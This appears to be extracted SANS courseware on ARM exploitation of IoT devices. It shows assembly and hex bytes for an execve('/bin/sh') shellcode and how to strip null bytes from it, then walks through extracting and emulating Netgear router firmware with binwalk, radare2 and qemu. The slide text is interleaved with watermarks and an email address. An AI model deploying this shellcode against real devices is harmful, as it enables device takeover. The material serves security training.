https://developer.arm.com/documentation/102374/0101/Registers-in-AArch64---other-registers
live
micede1865@wii999_com
Also known as system
sub
strb
mov
svc
r2,
r1,
r7,
1
r2, r2
[r0, #7]
#11
_cmd:
calls or service calls .ascii "/bin/shA"
The svc instruction invokes a supervisor call. This is also referred to as a system call or service call. When
this instruction executes, it transitions into a higher privilege context, supervisor mode.
Paul Erwin
In Linux this will invoke the kernel and a lookup will happen based on the value in r7. When a svc
instruction is executed, r7 is the register that is designated to hold the syscall id. The syscall id is
used by the kernel to determine which handler it should execute while in supervisor mode.
In this example, syscall id 11 which we see getting moved into r7, is the syscall id for
execve. Execve will execute a new program. We are telling the kernel to execute a new program
(/bin/sh). Parameters for the handler we want to invoke are passed in the registers, just like we would
call a function. In this example, we want r0, which is the first parameter to hold the string representation for
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
the new program we want to execute “/bin/sh”. R1 and r2 should hold 0 or null values.
execve(“/bin/sh”, 0, 0)
live
Note: The 1 in the ‘svc 1’ instruction is arbitrary and other values can be used here.
Also, this shellcode is not perfect, there are some improvements that can be made.
Take a look at the link in Resources to see some additional syscall ids with their associations.
Reference:
https://github.com/torvalds/linux/blob/v4.17/arch/arm/tools/syscall.tbl
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@hammerhead:/tmp$ arm-linux-gnueabi-objdump -d ./shellcode.o
00000000 <_start>:
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: 4678 mov r0, pc ld can be used to link object code into an
a: 300c adds r0, #12 executable binary that can be executed
c: 46c0 nop
from the command line. The ‘-N’ option is
micede1865@wii999_com
e: 9001 str r0, [sp, #4]
10: 1a49 subs r1, r1, r1 required for this shellcode.
12: 1a92 subs r2, r2, r2
14: 270b movs r7, #11
16: df01 svc 1
18: 622f str r7, [r5, #32]
1a: 6e69 ldr r1, [r5, #100]
1c: 732f strb r7, [r5, #12]
1e: 0068 lsls r0, r5, #1
ARM shellcode can be cross-compiled on a non-native platform with the right toolchain.
In the example shown in this slide, we first change to the /tmp folder in hammerhead and copy over the .s
Paul Erwin
file, so we don't unintentionally overwrite any of our files in the labs folder.
nemo@hammerhead:~$ cd /tmp/
In this example we assemble shellcode-696.s into an object file, shellcode.o using the cross-compiler
toolchain’s version of as (arm-linux-gnueabi-as).
We then use the toolchain’s version of objdump to view/verify the disassembly of our newly-created object
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
file.
Next, we link the object file using the toolchain’s linker (arm-linux-gnueabi-ld) to create a standalone,
executable file.
The –N option is used since we are writing to the code section with the ‘str r0, [sp, #4]’
instruction.
ld = (lower case L, d)
live
-N = allows the text section (code) of the program to be writeable
Once we link the object file into a new file that we can execute, we can run it with qemu-arm for testing.
micede1865@wii999_com
nemo@mako:~/labs/shellcode/asm$ objcopy -O binary shellcode-696.o shellcode-696.bin
Objcopy and xxd are tools that can be used to extract and format the bytes that makeup the opcode from
object files. First objcopy can extract only the bytes that make up the instructions and dropping any bytes
that are associated with an object file’s metadata. This can be done with the –O binary parameter. The
Paul Erwin
output will be a file that only contains bytes to be used in shellcode.
Be careful, if you do not specify an output file, objcopy will overwrite the original file.
The xxd instructions has various output formats that can be used for displaying hexdumps of files:
The –ps option (shown in the slide) will output in postscript plain hexdump style.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The –i option (used below) will output in C include file style. This output style can be copied and pasted
directly into a C program.
09b91222e5d2d3d668cf8e52ec5d35ba
Options:
-a
-b
toggle autoskip: A single '*' replaces nul-lines. Default off.
binary digit dump (incompatible with -ps,-i,-r). Default hex.
-C capitalize variable names in C include file style (-i).
-c cols format <cols> octets per line. Default 16 (-i: 12, -ps: 30).
-E show characters in EBCDIC. Default ASCII.
-e little-endian dump (incompatible with -ps,-i,-r).
-g number of octets per group in normal output. Default 2 (-e: 4).
-h
-imicede1865@wii999_com
-l len
print this summary.
output in C include file style.
stop after <len> octets.
-o off add <off> to the displayed file position.
-ps output in postscript plain hexdump style.
-r reverse operation: convert (or patch) hexdump into binary.
-r -s off revert with <off> added to file positions found in hexdump.
-s [+][-]seek start at <seek> bytes abs. (or +: rel.) infile offset.
-u use upper case hex letters.
-v
24356915
show version: "xxd V1.10 27oct98 by Juergen Weigert".
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@mako:~/labs/shellcode/asm/tmp$ objdump -d ./sc_null.o
...
Disassembly of section .text:
Using the –d parameter with objdump,
we see the disassembly of the object
file that gets created with the as
00000000 <_start>: (assemble) command.
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: 4678 mov r0, pc This allows for review and verification
a: a003 add r0, pc, #12 of how the shellcode was assembled.
c: 46c0 nop
e: 2100 null movs r1, #0
10: 1a92 byte subs r2, r2, r2 The `mov r1, #0` assembly
micede1865@wii999_com
12:
14:
16:
71c1
270b
df01
strb
movs
svc
r1,
r7,
1
[r0, #7]
#11
instruction has a null byte (2100) in
the object code for the instruction.
objdump –d (disassemble) can be used to view the object code associated with our arm assembly
instructions. We can use this command to confirm there are no bad characters present.
Paul Erwin
Here we see a null byte which will cut off the rest of our shellcode if it is read in by any type of string copy.
This is problematic and will cause our exploit to crash. The goal of the instruction is to get a 0 into r1. The
problem is that the opcode for ‘movs r1, #0` has a 00 in it. This happens when it gets assembled from an
assembly instruction to an opcode. We need to figure out another assembly instruction/opcode that gets us
the same result of getting r1 to be 0.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
nemo@mako:~/labs/shellcode/asm/tmp$ xxd -ps sc_null.bin
01308fe213ff2fe1784603a0c0460021921ac1710b2701df2f62696e2f736841
Desired result in the destination of a string copy function (i.e., strcpy) Actual result that has been cut short at 00
01308fe213ff2fe1784603a0c0460021921ac1710b2701df2f62696e2f736841 01308fe213ff2fe1784603a0c046
Some bytes may disrupt our shellcode, depending on the exploit and what our input allows. For example, the
null byte (00) is often considered a “bad character” because when C reads in a string, if it sees a null byte, it
considers that the end of the string. So, if we are providing a string as our exploit buffer and the C function
Paul Erwin
reading our input sees a null byte, it will stop reading input at that byte. This is a problem if we have additional
opcodes following the null byte.
In the example, if we read in this shellcode as a string, it would be cut short at the 00 and would not execute
correctly, causing a crash.
Note: The memcpy function will not be affected by nulls like this, since it uses a specified length for doing its
copy. However, if the same input is read elsewhere in the exploit (like being read in from the command line,
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
or parsed out of a network message), it could still be cut short.
Instead of:
01308fe213ff2fe1784603a0c0460021921ac1710b2701df2f62696e2f736841
live
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@mako:~/labs/shellcode/asm/tmp$ objdump -d ./sc_null.o
...
Disassembly of section .text: “movs r1, #0” can be changed to
“sub r1, r1, r1” to avoid the null byte
00000000 <_start>: and still store 0 in r1.
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: 4678 mov r0, pc
a: a003 add r0, pc, #12 The `sub r2, r2, r2` instruction results
c: 46c0 nop
e: 2100 movs r1, #0
in a 0 being stored in r2, but this
10: 1a92 subs r2, r2, r2 instruction does not have a null byte in
micede1865@wii999_com
12:
14:
16:
71c1
270b
df01
strb
movs
svc
r1,
r7,
1
[r0, #7]
#11
the object code (1a92).
Look at the instruction following the one with a null byte. There is no null byte in the opcode for ‘subs r2,
r2, r2’, but the result is the same. After this instruction r2 will be set to 0. So essentially, we can get the
same result with a different instruction and a different opcode. This is a clever trick and there are many others.
Paul Erwin
`movs r1, #0` can be changed to `sub r1, r1, r1` and once the shellcode is reassembled it
will no longer have a null byte which is a bad character that is problematic for reading in strings.
This is a clever way to get around having null bytes in our object code.
sub r1, r1, r1 //Set r1 to 0 without using null bytes
sub r2, r2, r2 // Set r2 to 0 without using null bytes
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Once we gain control of execution, the next step is usually to establish further access. If we deliver custom
code, this usually comes in the form of shellcode. If we are attacking a common target in a test environment,
it may be sufficient to download and throw shellcode from the internet. However, knowing how it works
allows us to have confidence in what we are delivering to a target and allows us to make changes if necessary.
OBJECTIVES PREPARATION
micede1865@wii999_com
• Reviewing and understanding the assembly
instructions for sample shellcode
• Assembling object files
This lab will be done in the Mako virtual machine.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Certain bytes can be problematic when the target process parses your exploit. This usually happens because
some functions will cut your input buffer short resulting in broken shellcode. Sometimes there is just no
getting around the problem, but other times we can make adjustments to our shellcode and avoid these types
of issues.
OBJECTIVES PREPARATION
micede1865@wii999_com
• Modifying shellcode to avoid certain bytes
(0x0b, 0x0c)
• Assembling custom shellcode and extracting
This lab will be done in the Mako virtual machine.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Reverse engineering tool suite developed by the NSA
• Free / open source (Java)
• Features
• Disassembler / decompiler
micede1865@wii999_com
•
•
Collaboration server
Version tracking (diffing)
• Scripting environment (java and jython)
• Much more
Ghidra is a “software reverse engineering” suite developed by the NSA. It is free and open source and
supports many different features such as version diffing tool for binaries and a centralized collaboration server
where you can share and track changes (i.e., naming and markup) with others. Ghidra is written in Java and
Paul Erwin
supports a robust API that is well documented. It also supports “jython”, a java-based python implementation.
You can do most of the things you can with IDA Pro, like create data structures, modify memory
segmentation, or even write custom loaders. Ghidra also has an emulation feature that is accessible through its
API, where you can specify and partially emulate the execution of a loaded binary image.
If you are a long-time IDA Pro user, it can be frustrating trying to shift gears and master a new framework.
However, the low price tag of $0 and the abundance of features, including centralized collaboration, may be
enough of an incentive to give it a try.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Reference:
Getting Ghidra
https://ghidra-sre.org/
09b91222e5d2d3d668cf8e52ec5d35ba
• Creating a project
• File / New Project
• Non-Shared project
• Enter a project name and
click Finish
• Analyzing a file
micede1865@wii999_com
• File / Import File
• Select a binary for analysis
• Right click / Open With
CodeBrowser
To run Ghidra in the hammerhead vm, enter the following command from a terminal window:
nemo@hammerhead:~$ ~/ghidraRun
Paul Erwin
Note: There will already be a project created that opens by default in the hammerhead vm. You are welcome
to use this project or start from scratch and create a new one using the following instructions.
The first time you run Ghidra, you will be prompted to create a new project. This project can hold multiple
files that you would like to analyze. We will be using non-shared projects since we are not using a server and
not collaborating with others.
When you import a file, Ghidra will usually recognize the file type (in our case, we are analyzing ARM ELF
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
binaries) and add the file to the project. There are a couple of icons listed under Tool Chest. The dragon is for
analyzing the binary with the CodeBrowser tool and the footsteps are for version tracking. Version tracking
will do a comparison of 2 similar binaries to see what has changed between the two versions. This tool could
be useful for patch diffing.
To invoke the CodeBrowser, you can click on the file and then click on the dragon or right click on the click
and then click Open with Codebrowser. This will open up the CodeBrowser tool and will ask if you would
like to Auto Analyze the binary if it hasn’t been done already. If it hasn’t been done, go ahead and run auto
analysis on the binary you are working with.
live
09b91222e5d2d3d668cf8e52ec5d35ba
The CodeBrowser interface has a lot of windows and it helps if you are using Ghidra on a big monitor. The
windows can be dragged and dropped into positions and shrank or stretched as needed. A good way to explore
CodeBrowser is to select Window from the tool bar and start opening up and testing out some of the features.
Paul Erwin
Some features that may be useful or relevant when getting started are marked in the slide with a red arrow.
If you have the screen space, it can be helpful to view some of the windows side-by-side as you are doing your
analysis. For example, having the Listing (disassembly) and the Decompile window both open, may help paint
a more complete picture of what you are looking at. Windows can also be dragged on top of each other so that
they will be accessible by clicking on tabs that appear when more than one window overlaps.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
java and python (jython) support
The Script Manager can be opened from the Window menu and lists all of the scripts available to Ghidra,
categorized and sorted into folders. As with most of the windows in Ghidra, there is a “Filter” input box below
the listing that allows you to filter and search for specific entries. Here you can create and run your own
custom scripts.
Paul Erwin
By clicking on Help/Ghidra API Help from the toolbar at the top of CodeBrowser, you will get access to
Ghidra’s API documentation. This documentation has a lot of detail regarding all of the different programming
resources available when writing your own scripts. The search bar is handy and a lot of the text is linked
allowing you to quickly navigate the API.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Common Windows: • Tips and Tricks:
• Listing • Key bindings for custom
• Decompiler scripts
• Defined Strings • Highlighting
• Functions • Camera / snapshot view
micede1865@wii999_com
•
•
Function Graph
Bookmarks
• Ghidra server
• Script Manager In CodeBrowser, you can customize your hotkeys by going to:
Edit / Tool Options / Key Bindings
• Data Type Manager
• Memory Map
This slide lists some of the Windows/features that are recommended for beginners to explore and get
comfortable with. Once these are understood and the user is familiar with the interface, some of the other
features may also prove to be beneficial. This is simply offered as a suggestion to give newcomers a starting
Paul Erwin
point, but really there are many different paths you can take when learning this tool.
For those who are used to certain hotkeys in IDA, key bindings in Ghidra can be set by going to “Edit /
Tool Options / Key Bindings” from the toolbar.
As you get more familiar with Ghidra, you will find many different features that are quite useful. Here are a
few examples of some nice features, but you are encouraged to expand this list by figuring out what works for
you.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Highlighting - You can permanently highlight variable occurrences within a function. This can be done with
multiple variables.
Camera / snapshot view – Pop out a copy of a pane from the codebrowser that you can expand to full screen.
Changes made in the popped-out pane will be reflected in the Code Browser. Multiple pop outs will be tabbed
in the same window.
Ghidra server – Use a central repository for group collaboration.
live
Ghidra is a free reverse engineering tool developed by the NSA. It is open source and has many features
applicable to ARM. For our purposes, being able to analyze and decompile ARM binaries in a graphical
framework is extremely helpful. For more information go to https://ghidra-sre.org/.
OBJECTIVES PREPARATION
micede1865@wii999_com
• Creating a new project in Ghidra
• Adding and analyzing ARM binary files
• Finding functions for disassembly and
This lab will be done in the Mako virtual machine.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Section 1 - Conclusion
Questions /Announcements
micede1865@wii999_com
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
661.2
09b91222e5d2d3d668cf8e52ec5d35ba
Exploiting IoT
micede1865@wii999_com
Devices
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
THE MOST TRUSTED SOURCE FOR INFORMATION SECURITY TRAINING, CERTIFICATION, AND RESEARCH | sans.org
https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||
PLEASE READ THE TERMS AND CONDITIONS OF THIS COURSEWARE LICENSE AGREEMENT
("CLA") CAREFULLY BEFORE USING ANY OF THE COURSEWARE ASSOCIATED WITH THE SANS
COURSE. THIS IS A LEGAL AND ENFORCEABLE CONTRACT BETWEEN YOU (THE “USER”) AND
SANS INSTITUTE FOR THE COURSEWARE. YOU AGREE THAT THIS AGREEMENT IS
ENFORCEABLE LIKE ANY WRITTEN NEGOTIATED AGREEMENT SIGNED BY YOU.
09b91222e5d2d3d668cf8e52ec5d35ba
With this CLA, SANS Institute hereby grants User a personal, non-exclusive license to use the Courseware
subject to the terms of this agreement. Courseware includes all printed materials, including course books
and lab workbooks, as well as any digital or other media, virtual machines, and/or data sets distributed by
SANS Institute to User for use in the SANS class associated with the Courseware. User agrees that the
CLA is the complete and exclusive statement of agreement between SANS Institute and you and that this
CLA supersedes any oral or written proposal, agreement or other communication relating to the subject
matter of this CLA.
micede1865@wii999_com
BY ACCEPTING THIS COURSEWARE,USER AGREES TO BE BOUND BY THE TERMS OF THIS CLA.
BY ACCEPTING THIS SOFTWARE, USER AGREES THAT ANY BREACH OF THE TERMS OF THIS CLA
MAY CAUSE IRREPARABLE HARM AND SIGNIFICANT INJURY TO SANS INSTITUTE, AND THAT
SANS INSTITUTE MAY ENFORCE THESE PROVISIONS BY INJUNCTION (WITHOUT THE
NECESSITY OF POSTING BOND) SPECIFIC PERFORMANCE, OR OTHER EQUITABLE RELIEF.
If User does not agree, User may return the Courseware to SANS Institute for a full refund, if applicable.
24356915
User may not copy, reproduce, re-publish, distribute, display, modify or create derivative works based upon
all or any portion of the Courseware, in any medium whether printed, electronic or otherwise, for any
purpose, without the express prior written consent of SANS Institute. Additionally, User may not sell, rent,
lease, trade, or otherwise transfer the Courseware in any way, shape, or form without the express written
consent of SANS Institute.
If any provision of this CLA is declared unenforceable in any jurisdiction, then such provision shall be
Paul Erwin
deemed to be severable from this CLA and shall not affect the remainder thereof. An amendment or
addendum to this CLA may accompany this Courseware.
SANS acknowledges that any and all software and/or tools, graphics, images, tables, charts or graphs
presented in this Courseware are the sole property of their respective trademark/registered/copyright
owners, including:
AirDrop, AirPort, AirPort Time Capsule, Apple, Apple Remote Desktop, Apple TV, App Nap, Back to My
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Mac, Boot Camp, Cocoa, FaceTime, FileVault, Finder, FireWire, FireWire logo, iCal, iChat, iLife, iMac,
iMessage, iPad, iPad Air, iPad Mini, iPhone, iPhoto, iPod, iPod classic, iPod shuffle, iPod nano, iPod touch,
iTunes, iTunes logo, iWork, Keychain, Keynote, Mac, Mac Logo, MacBook, MacBook Air, MacBook Pro,
Macintosh, Mac OS, Mac Pro, Numbers, OS X, Pages, Passbook, Retina, Safari, Siri, Spaces, Spotlight,
There’s an app for that, Time Capsule, Time Machine, Touch ID, Xcode, Xserve, App Store, and iCloud are
registered trademarks of Apple Inc.
live
SOF-ELK® is a registered trademark of Lewes Technology Consulting, LLC. Used with permission.
Governing Law: This Agreement shall be governed by the laws of the State of Maryland, USA.
SEC661_2_G03_01
https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||
09b91222e5d2d3d668cf8e52ec5d35ba
Exploiting IoT Devices
micede1865@wii999_com
© 2021 Hungry Hackers, LLC | All Rights Reserved | Version # G03_01
24356915
This page intentionally left blank.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
Firmware 4
LAB: Firmware Extraction 13
09b91222e5d2d3d668cf8e52ec5d35ba
Router Emulation
Netgear Exploit
LAB: Netgear Exploit
14
34
44
ROP 45
LAB: ROP 73
Dlink Exploit 74
LAB: Dlink Exploit 96
micede1865@wii999_com
Memory Leaks
LAB: Memory Leaks
97
114
64-Bit ARM 115
LAB: 64-Bit ARM 128
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
hammerhead
vmware x86_64
This is a diagram for the lab environment. The hammerhead virtual machine (VM) will be imported and
started from within vmware. The mako, dogfish, and tiger VMs are all ARM-based Ubuntu vms started via
qemu. The netgear and dlink “VMs” are started from a chroot environment from the dogfish VM. The IP table
Paul Erwin
is here for reference. Mako, dogfish and tiger are in hammerhead’s host file and can be connected to by name
(ping, ssh, etc).
Hammerhead VM
To be ran in VMWare
NFS sharing labs folder
Mako VM
Ubuntu 32-bit ARM v7
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Tiger VM
To be ran in qemu
Start with start_mako.sh
live
1. Firmware
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals 2.
3.
Lab: Firmware Extraction
Router Emulation
Netgear Exploit
SEC661.2 Lab: Netgear Exploit
Exploiting IoT Devices 4. ROP
Lab: ROP
5. Dlink Exploit
micede1865@wii999_com 6.
Lab: Dlink Exploit
Memory Leaks
Lab: Memory Leaks
7. 64-Bit ARM
Lab: 64-Bit ARM
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
Firmware
09b91222e5d2d3d668cf8e52ec5d35ba
In this section we show how to extract firmware from an update file. By doing this we
are able to view the ARM binaries that actually get loaded onto the target system.
micede1865@wii999_com
There are other techniques to acquire firmware, like pulling it directly off the chip or
extracting it via hardware. However you get it, acquiring the firmware is one of the
first steps for finding vulnerabilities or developing exploits for a target.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Firmware is software loaded onto device hardware that
is stored in non-volatile memory
• Getting firmware
• Extracted from hardware
• From the device via privileged access
micede1865@wii999_com
• From an update
• Example: Dlink/Netgear
Firmware is a term that is widely used and can describe different things. We will use it to refer to software that
gets loaded onto a device in non-volatile memory. This means it doesn’t go away when the device is restarted.
Paul Erwin
Acquiring firmware can be done a couple of different ways. The coolest way is to extract it directly from the
hardware. With the help of special hardware tools, firmware can sometimes be pulled directly off the chip.
Another way to get the firmware from the device is to dump it from a running system. To do this, you first
need to get on the system, and you then need access to where the firmware is stored and a way to get it off.
The third way to get firmware is to extract it from an update. Most IoT systems have some way to update the
firmware running on the device. In class we will be looking at two routers. Updates for each of these routers
can be downloaded from the internet and loaded onto the device via its web interface. By looking at the
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
downloaded firmware update, we can pick it apart and figure out the key components that get loaded onto the
target system.
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Acquire update bundle
from vendor’s website
R6700v3-V1.0.4.84_10.0.58.chk
micede1865@wii999_com
hammerhead$ unzip R6700v3-V1.0.4.84_10.0.58.zip
Archive: R6700v3-V1.0.4.84_10.0.58.zip
extracting: R6700v3-V1.0.4.84_10.0.58.chk
inflating: R6700v3-V1.0.4.84_10.0.58_Release_Notes.html
data?
We will look at the Netgear firmware for the R6700v3 home router as an example. Updates for Netgear
routers can be downloaded from their website. Typically, users would download an update bundle (usually a
.zip file) from the vendor website and upload this file to their home router via a web interface. We don’t want
Paul Erwin
to load it onto a router, we want to analyze it so that we can learn more about what gets loaded onto the router.
If we extract the zip file, we see a .html file and another extension (.chk) that Linux doesn’t recognize.
Running the file command on the extracted .chk file just shows the file type as “data”. This is a generic term
and is how Linux tells you that it has no idea what it is looking at. So, at this point we have a big data blob in
the form of a .chk file and have no idea what is in it.
Reference:
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
https://www.netgear.com/support/product/R6700V3.aspx
live
09b91222e5d2d3d668cf8e52ec5d35ba
binwalk ./R6700v3-V1.0.4.84_10.0.58.chk
R6700v3-V1.0.4.84_10.0.58.chk
...
+0x3a TRX firmware header
HEXADECIMAL DESCRIPTION
-------------------------------------------------------
0x3A TRX firmware header, little endian, image size:
48283648 bytes, CRC32: 0x3D5AFA1D, flags: 0x0, version: +0x56 LZMA compressed data
1, header size: 28 bytes, loader offset: 0x1C, linux
kernel offset: 0x20BA4C, rootfs offset: 0x0
0x56
micede1865@wii999_com
0x20BA86
LZMA compressed data, properties: 0x5D, dictionary
size: 65536 bytes, uncompressed size: 5276608 bytes
The binwalk command can help us out here. Binwalk searches binary files for embedded artifacts even if
the file type is unknown. Many firmware updates have multiple components crammed together into one big
bundle. Binwalk will examine the file for any recognizable byte patterns that indicate that something is
embedded in the file.
Paul Erwin
In this example, binwalk has scanned the Netgear update file, R6700v3-V1.0.4.84_10.0.58.chk and
found three internal components.
- A TRX firmware header at offset +0x3a
- Some LZMA compressed data at offset +0x56
- A compressed squash filesystem starting at offset +0x2BA86
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The squashfs filesystem is very interesting. Many embedded Linux systems use squashfs to
store their root file system. This is what gets loaded onto the device and these files are a great start
for learning about the security of the system.
We can now start to carve out some of the data contained within the .chk binary blob.
Binwalk was able to find some things in the firmware image, but this does not work 100% of the time. Some
files may be encrypted, they may attempt to mask what is inside or binwalk might simply not recognize any
live
of the internal components. In this case, some reverse engineering may be required to understand the update
file.
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@hammerhead:~/firmware/netgear$ binwalk -e ./R6700v3-V1.0.4.84_10.0.58.chk
...
nemo@hammerhead:~/firmware/netgear$ cd _R6700v3-V1.0.4.84_10.0.58.chk.extracted/
nemo@hammerhead:~/firmware/netgear/_R6700v3-V1.0.4.84_10.0.58.chk.extracted$ ls
20BA86.squashfs 56 56.7z squashfs-root
nemo@hammerhead:~/firmware/netgear/_R6700v3-V1.0.4.84_10.0.58.chk.extracted$ cd squashfs-root/
micede1865@wii999_com
nemo@hammerhead:~/firmware/netgear/_R6700v3-V1.0.4.84_10.0.58.chk.extracted/squashfs-root$ ls
bin data dev etc lib media mnt opt proc sbin share sys tmp usr var www
Binwalk has a great feature to make our lives easier. The –e parameter (which stands for extract, not easy)
will tell binwalk to automatically extract what it finds into a new folder. If binwalk discovers anything
within the binary file that it can extract, it will create a new directory starting with an underscore, followed by
Paul Erwin
the original filename and ending with .extracted. In this example it creates a folder called “_R6700v3-
V1.0.4.84_10.0.58.chk.extracted”. If we change into this directory and list the contents, we see what
binwalk automatically extracted for us.
Binwalk will also take it a step further and decompress artifacts for us. For example, the
squashfs compressed filesystem has been decompressed and stored in a folder called
squashfs-root. If we list the contents of this folder, we see the files that will get copied onto
the target system.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
This level of insight is great for an attacker. From here we can begin to look at the files that run the
services and start looking for bugs.
live
09b91222e5d2d3d668cf8e52ec5d35ba
squashfs-root$ cd sbin
squashfs-root/sbin$ ls
abFifo bd burnpass burn_sw_feature getchksum
hotplug internet lanup pivot_root read_bd
routerinfo udevtrigger acos_init burn5gpass burnpin
curl getopenvpnsum hotplug2 ipv6-conntab leddown
...
micede1865@wii999_com
squashfs-root/sbin$ file curl
curl: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter
/lib/ld-uClibc.so.0, with debug_info, not stripped
If we change into one of the squashfs-root sub folders, we see the actual binaries that run on the system.
While still in the hammerhead vm, we can run the file command against any of these binaries to get more
information about them.
Paul Erwin
Here we see that the curl file is a 32-bit ARM binary. In fact, all of the executable binaries are 32-bit ARM
since that is the processor that runs inside the Netgear R6700v3 router. Many embedded systems use busybox,
which combines many common Linux binaries into a single executable, so as you are looking at these files,
you may want to use “ls –l” to see if the file you are interested in is just a shortcut to busybox.
We have some different options now, depending on what we want to do. We can run the files using qemu-arm.
We can perform static analysis using tools like IDA Pro, Ghidra, or Radare2. We could set up a fuzzer and
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
fuzz some of these binaries. We can try to start up the whole system in an emulator. Again, our next steps
depend on our original objective.
Note: The path in the slide (squashfs-root/sbin) has been modified so that we can more easily
view the content.
Reference:
https://busybox.net/
live
09b91222e5d2d3d668cf8e52ec5d35ba
squashfs-root/sbin$ radare2 curl
[0x0000bf58]> aaa
...
[0x0000bf58]> s main
[0x00011438]> pdf
...
536: int main (int argc, char **argv);
0x00011438 f0412de9 push {r4, r5, r6, r7, r8, lr}
0x0001143c 48d04de2 sub sp, sp, 0x48
0x00011440 04408de2 add r4, s
micede1865@wii999_com
0x00011444
0x00011448
0x0001144c
0x00011450
3c20a0e3
0060a0e1
0150a0e1
0400a0e1
mov r2, 0x3c
mov r6, r0
mov r5, r1
mov r0, r4
; '<'
; argc
; argv
; void *s
0x00011454 0010a0e3 mov r1, 0 ; int c
0x00011458 cee9ffeb bl sym.imp.memset ;void *memset(void *s, int c, size_t n)
0x0001145c 0030a0e3 mov r3, 0
...
Radare2 can open the ARM binaries extracted from the firmware. Since they are known file format (ELF) and
are written for an architecture that radare2 supports, they can be opened using the following commands.
Paul Erwin
radare2 curl – open the curl binary in radare2
aaa = function analysis with autonaming
s main = seek to the main function
pdf = print disassembly of the function (main)
Here we are looking at curl, a tool for retrieving files from a network. You could also use this approach to look
for bugs in binaries that are reachable over the network.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
squashfs-root/sbin$ qemu-arm curl
/lib/ld-uClibc.so.0: No such file or directory
squashfs-root/sbin$ ls ../../squashfs-root
bin data dev etc lib media mnt opt proc sbin share sys tmp usr var www
micede1865@wii999_com
--anyauth Pick "any" authentication method (H)
-a, --append Append to target file when uploading (F/SFTP)
--basic Use HTTP Basic Authentication (H)
--cacert FILE CA certificate to verify peer against (SSL)
--capath DIR CA directory to verify peer against (SSL)
The qemu-arm tool will allow us to run ARM binaries on non-ARM systems. Hammerhead is running on a
x86_64 architecture, but it can run standalone ARM binaries as shown in the slide.
Paul Erwin
Again, some files that look like executables may just be symbolic links due to busybox, so run “ls –l” in the
folder that has the binary you want to look at. If the file size seems to be too small, it is likely a symbolic link.
When we try to execute the curl binary with qemu-arm, we get an error, “/lib/ld-uClibc.so.0: No such file or
directory” This is because the curl binary was dynamically linked. In section one, we got around this by
compiling with the –static option so that the resulting binary did not rely on other shared objects. But
what if we don’t have the source code? In this case we only have the curl binary and no source code.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The qemu-arm tool has the –L option which allows us to provide a path that the ARM binary will search to
find its shared objects. Notice that curl was looking for /lib/ld-uClibc.so.0. Because of this, we
don’t want to set the path provided with –L to the lib folder, since it would then look for /lib/lib/ld-
uClibc.so.0 (notice the two lib folders), instead we use the –L ../../squashfs-root as the
path. This will account for the lib within the squashfs root folder, and it will find /lib/ld-
uClibc.so.0, which is really stored in ../../squashfs-root/lib/ld-uClibc.so.0. When we
use the –L parameter with the correct search path, we see that curl executes. In the example, we pass the –h
parameter to curl to view the help content and by doing this we are confirming that curl runs successfully.
live
